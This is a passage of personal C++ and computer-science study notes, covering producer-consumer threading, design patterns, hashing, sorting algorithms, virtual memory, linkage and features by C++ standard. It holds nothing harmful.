    while (in == out) {
        not_empty.wait(lock);
    }
    
    // remove the item from the buffer
    item = buffer[out];
    out = (out + 1) % BUFFER_SIZE;
    
    // signal the producer that the buffer is not full
    not_full.notify_one();
    
    // release the mutex lock
    lock.unlock();
    
    // consume the item
    std::cout << \"Consumed item: \" << item << std::endl;
    
    // sleep for a random time
    std::this_thread::sleep_for(std::chrono::milliseconds(rand() % 1000));
}

}

In the main function, we create two threads, one for the producer function and one for the consumer function, and then join them with the main thread.

int main() { // create threads std::thread producer_thread(producer); std::thread consumer_thread(consumer);

// join threads with the main thread
producer_thread.join();
consumer_thread.join();

return 0;

}

When the program is executed, the producer thread will continuously generate random items and add them to the buffer, while the consumer thread will remove these items from the buffer and consume them. The mutex and conditional variables ensure that the producer and consumer do not access the buffer at the same time, and the buffer remains within its size limit.

This producer-consumer solution ensures synchronization and avoids race conditions between the producer and consumer threads. 

The magnitude of it all

In 2014 Randall Munroe estimated that Google stores 10 exabytes of data across all of its operations. However, as a C++ developer, you will only come across at most petabytes of storage; and if CPUs are topping out at gigahertz, then you won’t see anything much faster than a nanosecond.

                        1 000  kilo | milli .001
                    1 000 000  mega | micro .000 001
                1 000 000 000  giga | nano  .000 000 001
            1 000 000 000 000  tera | pico  .000 000 000 001
        1 000 000 000 000 000  peta | femto .000 000 000 000 001
    1 000 000 000 000 000 000   exa | atto  .000 000 000 000 000 001
1 000 000 000 000 000 000 000 zetta | zepto .000 000 000 000 000 000 001

See list of SI prefixes.

You may be tempted to use binary prefixes to be more precise – kibi, mebi, gibi, etc – but most people won’t know what you’re talking about. Also, manufacturers tend to use 1000³ rather than 2²⁰ because it makes their performance look better.

Important speeds you should be aware of

See why is everyone in such a rush?

1/1000000000 second == 1 nanosecond 

Approximate durations of typical operations (rounded to help remember.)

Design patterns

The objective of design patterns is to provide a common and well-established solution to recurring design problems in software development. They serve as a set of proven, reusable solutions that can be applied to various design problems to improve the quality, efficiency, and maintainability of software. Design patterns encapsulate expert knowledge and best practices, making it easier for developers to communicate and understand each other’s code. They also promote standardization and consistency in software design, allowing for easier maintenance and future modifications. By following design patterns, developers can save time and effort in the design and development process, resulting in more robust and maintainable software.

Categories

• Structural
• Behavioural
• Creational

Common patterns

1. Creational Patterns: These patterns focus on the creation of objects, such as:

• Factory pattern: A central factory class is responsible for creating objects based on certain conditions.
• Singleton pattern: A class that can only have one instance at a time.
• Builder pattern: Allows for the creation of complex objects by step-by-step construction rather than directly creating them.
• Prototype pattern: Cloning an existing object to create new instances.

2. Structural Patterns: These patterns deal with the structure of objects and how they are composed, such as:

• Adapter pattern: Adapting the interface of one class to another.
• Decorator pattern: Dynamically adding functionality to an object.
• Proxy pattern: A placeholder object that controls access to another object.
• Facade pattern: Providing a simplified interface to a complex system.

3. Behavioral Patterns: These patterns focus on the communication between objects and how they interact, such as:

• Observer pattern: Objects can subscribe to receive notifications from other objects.
• Mediator pattern: A central mediator object facilitates communication between other objects.
• Command pattern: Encapsulates a request as an object, allowing for queuing and logging of requests.
• Strategy pattern: Allows for interchangeable algorithms or behaviors within an object.

4. Concurrency Patterns: These patterns deal with managing multiple threads or processes, such as:

• Producer-Consumer pattern: A producer thread creates objects and puts them in a queue, while a consumer thread takes them out and processes them.
• Reader-Writer pattern: Allows multiple readers or a single writer to access a shared resource.
• Monitor pattern: A synchronization construct that allows only one thread to access a resource at a time.
• Thread Pool pattern: A pool of pre-created threads that can be reused to handle incoming tasks.

5. Architectural Patterns: These patterns provide a high-level structure for designing software systems, such as:

• Model-View-Controller (MVC) pattern: Separates the presentation, business logic, and data layers of an application.
• Layered architecture pattern: Divides the system into logical layers, with each layer having a specific responsibility.
• Microservices pattern: Breaking down a large application into smaller, independent services.
• Event-Driven architecture pattern: A system where events trigger actions or processes.

Factory pattern

The factory design pattern is a creational design pattern that allows for the creation of objects without specifying the exact class of object that will be created. This pattern is useful when there are multiple types of objects that need to be created, but the specific type is not known until runtime.

The main components of the factory design pattern are the factory class, product interface, and concrete product classes. The factory class is responsible for creating the objects and is typically a static method that returns instances of the product interface. The product interface defines the common methods and properties that all concrete product classes must implement. The concrete product classes are the specific types of objects that can be created by the factory.

When implementing the factory design pattern, the client code does not need to know the specific type of object that is being created. Instead, it calls the factory method and receives an instance of the product interface. This allows for a more flexible and decoupled code structure, as the client does not need to be updated if new concrete product classes are added.

The factory design pattern is commonly used in situations where there is a need for object creation based on certain conditions or configurations. It also promotes the principle of "coding to interfaces, not implementations," which can make the code more maintainable and extendable.

One potential drawback of the factory design pattern is that it can become complex and difficult to manage if there are a large number of concrete product classes. In this case, a variation of the pattern called the Abstract Factory pattern may be more suitable.

Example of factory pattern

Store a system configuration in an external text file and construct at runtime using the factory pattern.

Visitor pattern

The visitor design pattern is a behavioral design pattern that allows for the separation of algorithms or operations from the objects on which they operate. This pattern enables the addition of new operations to existing object structures without modifying the objects themselves.

In this pattern, a visitor is an object that encapsulates the behavior to be performed on the elements of an object structure. It implements different methods to perform different operations on the elements. The object structure, on the other hand, is a collection of objects that need to be visited by the visitor.

The main idea behind this pattern is that the visitor object is responsible for traversing the object structure and performing the desired operation on each element. This eliminates the need to modify the object structure itself when new operations need to be added.

The visitor pattern consists of the following components:

1. Visitor: This is an interface or an abstract class that declares the methods for visitation. Each method corresponds to an operation that can be performed on the elements of the object structure.

2. ConcreteVisitor: This class implements the Visitor interface and defines the actual operations to be performed on the elements of the object structure.

3. Element: This is an interface or an abstract class that defines the accept() method, which accepts a visitor object as a parameter. This method is used to call the appropriate visitor method for the element.

4. ConcreteElement: This class implements the Element interface and defines the accept() method. It also provides a method to get the data from the element.

5. ObjectStructure: This class contains a collection of elements to be visited by the visitor.

The steps involved in implementing the visitor pattern are as follows:

1. Create the Visitor interface or an abstract class with methods for visitation.

2. Create ConcreteVisitor classes that implement the Visitor interface and define the operations to be performed on the elements.

3. Create the Element interface or an abstract class with the accept() method.

4. Create ConcreteElement classes that implement the Element interface and define the accept() method. These classes should also provide a method to get the data from the element.

5. Create the ObjectStructure class that contains a collection of elements to be visited by the visitor.

6. In the accept() method of the ConcreteElement classes, call the appropriate visitor method and pass the current element as a parameter.

7. In the main program, create an instance of the ObjectStructure class and add elements to it.

8. Create an instance of the ConcreteVisitor class and call the visit() method on the ObjectStructure object, passing the visitor object as a parameter.

9. The visitor will then traverse the object structure and perform the desired operation on each element.

The visitor design pattern is useful when there are a large number of operations to be performed on a set of objects, and adding new operations will not affect the objects themselves. It also helps in keeping the code clean and maintainable by separating the operations from the objects.

Double dispatch

The visitor pattern exploits a feature of subtype polymorphism named “double dispatch.”

Double dispatch in subtype polymorphism refers to a situation where a method is selected based on the dynamic types of two objects instead of just one. This allows for more specific and accurate method calls based on the specific types of both objects involved.

In subtype polymorphism, objects of a subclass can be treated as objects of their superclass. This means that an object of a specific type can be passed as an argument to a method that expects an object of its superclass. However, when this happens, the method that will be called is determined by the type of the object at runtime, not the type declared in the method’s signature.

This is where double dispatch comes into play. When a method is called on an object, the method is selected based on the type of that object. However, in the case of double dispatch, the method is selected based on the types of both the object the method is being called on and the object that is passed as an argument. This allows for more specific and precise method calls, as the method will be selected based on the actual types of both objects involved.

Double dispatch is a powerful tool in subtype polymorphism as it allows for more specific and accurate method calls, leading to more concise and maintainable code. It is commonly used in situations where there are multiple levels of inheritance and the types of objects involved may vary.

Example of visitor pattern

Create a class hierarchy of shapes and define methods that operate on those shapes in a visitor class.

Flyweight / singleton / memento

Hardware interface classes will typically be a const register map which is a flyweight pattern. This is also an example of a singleton pattern as it’s only initialised once regardless of how many instances are created. Additionally if registers are actually wired to discrete lines they might be read-only, so the memento pattern is used to store the internal state.

Reflection

“In computer science, reflection is the ability of a process to examine, introspect, and modify its own structure and behavior.”

See Wikipedia.

Dependency inversion

Dependency inversion is a software design principle that states that high-level modules should not depend on low-level modules. Instead, both should depend on abstractions. This allows for flexibility and ease of maintenance in the code. By using dependency inversion, changes made to low-level modules will not affect high-level modules, as long as the interface between them remains the same. This promotes loosely coupled code and allows for easier testing and scalability.

• Refactoring Guru
• https://www.fluentcpp.com/2021/09/12/design-patterns-vs-design-principles-iterator-mediator-and-memento/
• Extended examples
• https://refactoring.guru/design-patterns/cpp

Hash functions

A hash function is a mathematical algorithm that takes in an input (such as a string or file) and produces a fixed-size output (known as a hash or digest) that represents the original input in a unique and reproducible way. This output is typically a sequence of characters and numbers that is much shorter than the input. Hash functions are used in cryptography to ensure the integrity and authenticity of data, as well as in data structures such as hash tables for efficient storage and retrieval of data. They are designed to be one-way functions, meaning that it is easy to compute the hash of an input, but difficult to reverse the process and determine the original input.

Properties of a hashing algorithm

• Stable: the same input generates the same output every time
• Uniform: the hash values should be uniformly distributed through the available space
• Efficient: the cost of generating a hash must be balanced with application need
• Secure: the cost of finding data that produces a given hash is prohibitive

String hashing

• Sum ASCII values: not uniform, not secure
• Fold bytes of every four characters into an integer: not secure
• CRC32: not secure
• MD5: not efficient, not secure
• SHA2: stable, uniform, not efficient, secure

Algorithms

The Jonathan Boccara CppCon 105 STL Algorithms in Less Than an Hour is well worth a watch for a quick overview.

Sorting

Quicksort is the poster boy of sorting algorithms.

The average case time complexity of quicksort is O(nlogn), where n is the number of elements in the array. This means that as the size of the array increases, the time taken to sort it will increase at a rate of nlogn. In the best case scenario, where the pivot element chosen is always the middle element, the time complexity is O(nlogn) as well.

However, in the worst case scenario, where the pivot element chosen is always the smallest or largest element, the time complexity becomes O(n^2). This can happen if the array is already sorted in either ascending or descending order.

Therefore, the time complexity of quicksort can range from O(nlogn) to O(n^2), depending on the input data. In general, quicksort tends to perform well on average, making it a popular choice for sorting algorithms.

Below is a Python implementation just for fun. But how is it implemented in C++?

def quicksort(arr):
    # Base case
    if len(arr) <= 1:
        return arr
    else:
        # Choose pivot element
        pivot = arr[0]
        # Partition the array into two subarrays
        left = [x for x in arr[1:] if x < pivot]
        right = [x for x in arr[1:] if x >= pivot]
        # Recursive calls on subarrays
        left_sorted = quicksort(left)
        right_sorted = quicksort(right)
        # Combine the sorted subarrays with the pivot element
        return left_sorted + [pivot] + right_sorted

# Example
arr = [5,2,7,1,9,3]
print(quicksort(arr))

# Output: [1,2,3,5,7,9]

std::sort uses Introsort

Introsort is a sorting algorithm that combines the efficiency of quicksort with the guaranteed worst-case performance of heapsort. It uses a combination of quicksort, heapsort, and insertion sort to achieve the best of both worlds.

The algorithm starts by using quicksort to partition the input array into two smaller subarrays. However, unlike traditional quicksort, introsort sets a limit on how deep the recursion can go in order to prevent worst-case scenarios where the input is already sorted or almost sorted.

Once the depth limit is reached, the algorithm switches to heapsort. Heapsort is a comparison-based sorting algorithm that uses a binary heap data structure to sort elements. It has a worst-case time complexity of O(nlogn), making it a good choice for handling worst-case scenarios.

However, if the input size is small enough, introsort switches to insertion sort. Insertion sort is a simple sorting algorithm that is efficient for small input sizes. It has a best-case time complexity of O(n), making it a good choice for small subarrays.

The combination of these three sorting algorithms allows introsort to be efficient in most cases while still guaranteeing a worst-case time complexity of O(nlogn). This makes it a popular choice for sorting large datasets, especially in languages like C++ where it is the default sorting algorithm in the standard library.

Introsort is in place but not stable: i.e., equivalent elements are not guaranteed to remain in the same order. However, the Standard Library offers stable_ versions of various sorting algorithms.

If additional memory is available, stable_sort remains O(n ∗ logn). However, if it fails to allocate, it will degrade to an O(n ∗ logn ∗ logn) algorithm.

https://leanpub.com/cpp-algorithms-guide

Small array threshold

The threshold for switching to insertion sort varies for each compiler.

• Visual Studio 32
• GNU 16
• Clang is 30 for trivially constructible objects, otherwise 6

std::list

std::sort requires random access to the elements, so std::list has its own sort method, but it still (approximately) conforms to O(n log n). It can be implemented with merge sort as moving elements is cheap with a linked list.

Other sorting algorithms

Considerations for choosing an algorithm: size of input, Type of input: e.g., partially sorted, random.

The complexity of a sorting algorithm is a measure of how its runtime or memory usage increases as the size of the input increases. This is typically measured in terms of the "big O" notation, which gives an upper bound on the worst-case time or space complexity of an algorithm. In general, the lower the complexity of a sorting algorithm, the more efficient it is.

1. Bubble Sort Bubble sort is a simple sorting algorithm that repeatedly steps through the list, compares adjacent elements and swaps them if they are in the wrong order. This process is repeated until the list is sorted. The worst-case time complexity of bubble sort is O(n^2), meaning that as the size of the input increases, the runtime of the algorithm will increase quadratically. This makes it an inefficient algorithm for large inputs.

2. Selection Sort Selection sort works by repeatedly finding the minimum element in the unsorted portion of the list and placing it at the beginning. This process is repeated until the list is sorted. The worst-case time complexity of selection sort is also O(n^2), making it equally as inefficient as bubble sort.

3. Insertion Sort Insertion sort works by building a sorted list one element at a time, by comparing each new element with the already sorted elements and inserting it into the correct position. The worst-case time complexity of insertion sort is O(n^2), but it has a better performance than bubble sort and selection sort for small inputs.

4. Merge Sort Merge sort is a divide and conquer algorithm that splits the list into smaller sublists, sorts them, and then merges them back together in the correct order. The worst-case time complexity of merge sort is O(n log n), making it much more efficient than the previous algorithms for large inputs. However, it also requires additional space for the merging process, making its space complexity O(n).

5. Quick Sort Quick sort is also a divide and conquer algorithm that works by selecting a pivot element and partitioning the list into two sublists – one with elements smaller than the pivot and one with elements larger than the pivot. This process is then repeated on the sublists until the entire list is sorted. The worst-case time complexity of quick sort is O(n^2), but it has an average case time complexity of O(n log n), making it one of the most efficient sorting algorithms.

6. Heap Sort Heap sort uses a data structure called a heap to sort the elements. It works by first building a heap from the given list, and then repeatedly removing the root (largest) element and placing it at the end of the list. The worst-case time complexity of heap sort is O(n log n), and its space complexity is O(1), making it an efficient sorting algorithm.

In summary, the complexities of these sorting algorithms can be ranked from least efficient to most efficient as follows: Bubble Sort and Selection Sort (O(n^2)) < Insertion Sort (O(n^2)) < Merge Sort (O(n log n)) < Quick Sort (O(n log n)) < Heap Sort (O(n log n) with O(1) space complexity. However, it is important to note that the actual performance of these algorithms may vary depending on the input data and implementation.

All of these are Θ(n log n) in all cases apart from Timsort has a Ω(n) and Quicksort has a terrible O(n^2) (if we happen to always pick the worst pivot). Quicksort is a good all rounder with O(n log n) average case. But it does have a O(n^2) worst case. It is said that this can be avoided by picking the pivot carefully but an example could be constructed where the chosen pivot is always the worst case.

• Mergesort breaks the problem into smallest units then combines adjacent
• Timsort finds runs of already sorted elements and then use mergesort; O(n) if already sorted
• Heapsort can be thought of as an improved selection sort
• Radix sort is a completely different solution to the problem
• A sorted array is already a min heap

References

• Comprehensive list of C++ standard library container complexities
• Interactive sorting animations
• Hacking Cpp – a nice breakdown of Standard Library algorithms
• Sorting Algorithms on Wikipedia
• Sorting Algorithms: Speed Is Found In The Minds of People - Andrei Alexandrescu - CppCon 2019.
• Selection and insertion sort are actually the same thing
• Analysis of algorithms set 3 asymptotic notations
• The Intuitive Guide to Data Structures And Algorithms
• Stony Brook Algorithm Repository ___

Virtual memory

• Expanded memory capacity
• Memory isolation
• Efficient memory sharing
• Simplified memory management
• Demand paging
• Enhanced memory protection
• Scalability
• Multi-tasking capabilities

OpenAI: 1. Increased Memory Capacity: Virtual memory allows a computer to use its secondary storage, such as a hard drive, as additional memory. This can increase the overall capacity of the computer’s memory, allowing it to handle larger and more complex tasks.

2. Cost Savings: Virtual memory allows for cost savings because it eliminates the need for expensive physical memory upgrades. Instead of purchasing more physical RAM, the computer can use virtual memory to expand its memory capacity.

3. Multitasking: With virtual memory, a computer can run multiple programs simultaneously without needing to have enough physical memory to handle all of them at once. The computer can store parts of programs that are not currently in use in virtual memory, freeing up physical memory for other tasks.

4. Improved Performance: Virtual memory can improve performance by allowing the computer to access data that is stored in virtual memory quicker than it could if the data was only stored on secondary storage. This is because virtual memory is managed by the computer’s operating system and is prioritized for quick access.

5. Better User Experience: Virtual memory can improve the overall user experience by allowing the computer to run more smoothly and efficiently. This means that programs will load faster, and the computer will be less likely to freeze or crash due to a lack of physical memory.

6. Flexibility: Virtual memory is a flexible solution that can be adjusted to meet the specific needs of a computer. The amount of virtual memory can be increased or decreased as needed, providing a customizable solution for managing a computer’s memory.

7. Protection Against Program Crashes: In a system with virtual memory, if a program crashes, it will only affect that specific program and not the entire system. This is because virtual memory keeps programs separated and protected from each other, reducing the risk of a system-wide crash.

8. Memory Management: Virtual memory allows for efficient memory management, as the operating system can allocate and distribute memory resources as needed. This ensures that memory is not wasted and that programs have access to the memory they require for optimal performance.

9. Compatibility: Virtual memory is compatible with various operating systems and hardware configurations, making it a widely used and accessible solution for managing memory.

10. Future Proofing: As programs and applications become more complex and require more memory, virtual memory provides a scalable solution for handling these advancements without the need for constant hardware upgrades. This makes virtual memory a beneficial long-term solution for managing memory. ___

C++ linkage

Internal linkage refers to the scope of a variable or function within a single source file in a C++ program. This means that the variable or function can only be accessed or used within that specific source file and cannot be accessed by other source files in the program. Internal linkage is achieved by using the "static" keyword before the variable or function declaration.

External linkage, on the other hand, refers to the scope of a variable or function that can be accessed by multiple source files in a C++ program. This means that the variable or function can be declared in one source file and used in another source file. External linkage is achieved by using the "extern" keyword before the variable or function declaration.

Variables and functions with external linkage are stored in the global symbol table, which can be accessed by all source files in the program. This allows for sharing of variables and functions between different parts of the program, making it more efficient and organized.

In summary, internal linkage restricts the scope of a variable or function to a single source file, while external linkage allows for sharing of variables and functions between multiple source files in a program.

Dependencies on static variables in different translation units are, in general, a code smell and should be a reason for refactoring.

• Functions have external linkage by default
• const and static variables have internal linkage
• Non-const global variables have external linkage
• Variables with static storage duration are zero initialised

If an object or function inside such a translation unit has internal linkage, then that specific symbol is only visible to the linker within that translation unit. If an object or function has external linkage, the linker can also see it when processing other translation units. The static keyword, when used in the global namespace, forces a symbol to have internal linkage. The extern keyword results in a symbol having external linkage.

• Always use auto
• What’s the “static initialization order ‘fiasco’ (problem)”?
• C++ scoped static initialization is not thread-safe, on purpose! (pre-C++11)
• constinit
• static vs std::call_once vs double checked locking
• Double-Checked Locking Pattern
• Internal and external linkage.

Anonymous namepsaces

Used to declare many things with internal linkage.

namespace {
  int a = 0;
  int b = 0;
  int c = 0;
}

Move semantics

This a large, complicated topic. See C++ Move Semantics - The Complete Guide by Nicolai M. Josuttis.

• You cannot move from a const thing: not allowed to mutate
• Auto-generated constructors do not have strong exception guarantees
• Adding a custom empty destructor prevents the move constructors being generated automatically
• Fundamental types are copied when moved as they don’t handle resources
• Move is used when returning from a function or we make a variable an rvalue with std::move
• && modifier indicates parameter is an object that we intend to move from instead of copying
• Make destructors noexcept (they are anyway)
• Mark move constructor noexcept

C++ standards

The big things for me are ranges and views, so effortlessly express and manipulate ranges of data with zero iterators; they read naturally and are also lazy-evaluated (and gcc 14 brings ranges::to<> to the party). Concepts I’ve used a little, but mostly to narrow the allowed types of an auto parameter: e.g., std::floating_point auto.

I’ve attempted to deep dive into templates a few times and it’s really quite an unpleasant language! However, whilst not a recent addition, constexpr is becoming increasingly supported; it gives you the readability of “normal” code with the potential performance benefits of compile-time. And it also finds UB! However, you quickly hit the issue where something isn’t constexpr so you have to either implement it yourself or not bother.

Coroutines are quite high-profile but I haven’t got into them yet. Finally, the multidimensional array operator seemed like a game changer but I’ve only used it once.

You’ll have to reach into gcc 14 but std::print is very welcome; as are modules (which might actually be available in 13.2 with -fmodules-fs flag) but poorly supported and not quite what I’d like yet.

Notable mentions from C++17 are structured bindings and execution policy.

C++26

• constexpr cmath
• Placeholder variables: “_”

C++23

See the presentation by Marc Gregoire (CppCon 2022).

You’ve gotta track gcc head to avoid disappointment.

• Multidimensional array operator: data[x, y, z] and std::mdspan
• uz literals
• .contains for strings and containers
• Extended constexpr for std::optional and std::variant
• [[assume(true)]] – introduce UB into your code with assumptions
• std::print and std::println – gcc 14
• New container adapters: std::flat_map and std::flat_set (contiguous binary search trees) – not in gcc 14
• import <iostream>; – modules, gcc 13 with flag -fmodules-ts
• Deducing this – simplify a lot of const ref overloads
• consteval – immediate functions: only execute at compile time
• A standard coroutine generator defined in <generator>
• <stack_trace>
• std::expected
• std::byteswap

Ranges and views (part two)

A lot of effort has gone into ranges and views in C++23.

std::ranges

• starts_with
• shift_left
• ranges::to<> – gcc14, convert a range to a vector (for instance)
• find_if
• contains
• contains_subrange
• std::ranges::fold_left – gcc 13.1

std::views

• zip
• adjacent
• pairwise
• chunk
• slide
• chunk_by
• stride – take every nth element
• join/join_with – I’ve had no luck with these outside of a trivial example
• repeat
• iota – infinite views may be more performant as no boundary check
• slide – love these
• enumerate – gcc 13.2, easily enumerate your range-based for loops, you get a pair of index and the element

C++20

• Ranges and views – part one
• .contains for maps
• .starts_with for strings
• std::jthread – thread you don’t have to explicitly join (it’s the same as std::thread but joins in the destructor), also has a built-in stop token
• coroutines
• modules – in the standard but slow support
• concepts – templates becoming easier each time
• std::barrier for thread synchronisation (like std::latch but reusable)

C++17

• Structured bindings – hard to go back when you’ve used them
• Execution policy – slow to be supported but an interesting option for parallelising existing code
• std::filesystem – from Boost
• std::string_view
• std::clamp
• [[maybe_unused]]
• <string_view>
• std::byte
• Class Template Argument Deduction (CTAD) enables class template deduction from the constructor call

Also see cppreference.

C++14

C++14 is an extension and improvement of C++11.

• Binary literals: 0b1111000
• Return type deduction: auto return type
• Generic lambda expressions: auto in lambda parameters
• Variable templates: template <class T> constexpr T bins = T{24'576};
• decltype(auto)

C++11

• Range-based for loops
• Brace initialisers
• constexpr

• 2025-03-28T23:01:36Z “add quiz”
• CI_JOB_URL=https://gitlab.com/germs-dev/cs/-/jobs/9561974600